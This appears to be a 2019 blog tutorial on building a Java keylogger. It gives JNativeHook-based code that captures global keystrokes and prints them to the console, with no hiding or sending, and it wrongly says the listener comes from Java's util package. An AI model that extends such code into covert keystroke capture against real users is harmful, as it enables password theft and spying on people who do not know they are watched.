Friday 8 March 2019

Java Key logger

Keylogger

A key logger is a tool used by hackers to track all the keys which you press.This information is the sent to the hackers via the internet or the
using a physical hardware access if they have it.Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program. A keylogger can be either software or hardware.
While the programs themselves are legal,with many of them being designed to allow employers to oversee the use of their computers, keyloggers are most often used for the purpose of stealing passwords and other confidential information.
Keylogging can also be used to study human–computer interaction. Numerous keylogging methods exist: they range from hardware and software-based approaches to acoustic analysis.

Introduction to a keylogger using java

A key logger is made by using a programming language with using the listeners.Today we will learn how to make a key logger using java.To make a key logger use the java Native key listener from the util package.The code is given as follows:-
public class jNativeHookExample implements NativeKeyListener {
/* Key Pressed */
public void nativeKeyPressed(NativeKeyEvent e) {
System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
/* Terminate program when one press ESCAPE */
if (e.getKeyCode() == NativeKeyEvent.VK_ESCAPE) {
GlobalScreen.unregisterNativeHook();
}
}
/* Key Released */ public void nativeKeyReleased(NativeKeyEvent e) {
System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
}
/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
System.out.println("Key Typed: " + e.getKeyText(e.getKeyCode()));
}
public static void main(String[] args) {
try {
/* Register jNativeHook */
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
/* Its error */ System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
/* Construct the example object and initialze native hook. */
GlobalScreen.getInstance().addNativeKeyListener(new jNativeHookExample());
}
}
Thus a keylogger from java is introduced to you by using this web page

Note that the content is for educational purpose only ©.The developer willl not be responsibe for any illegeal use

Refrences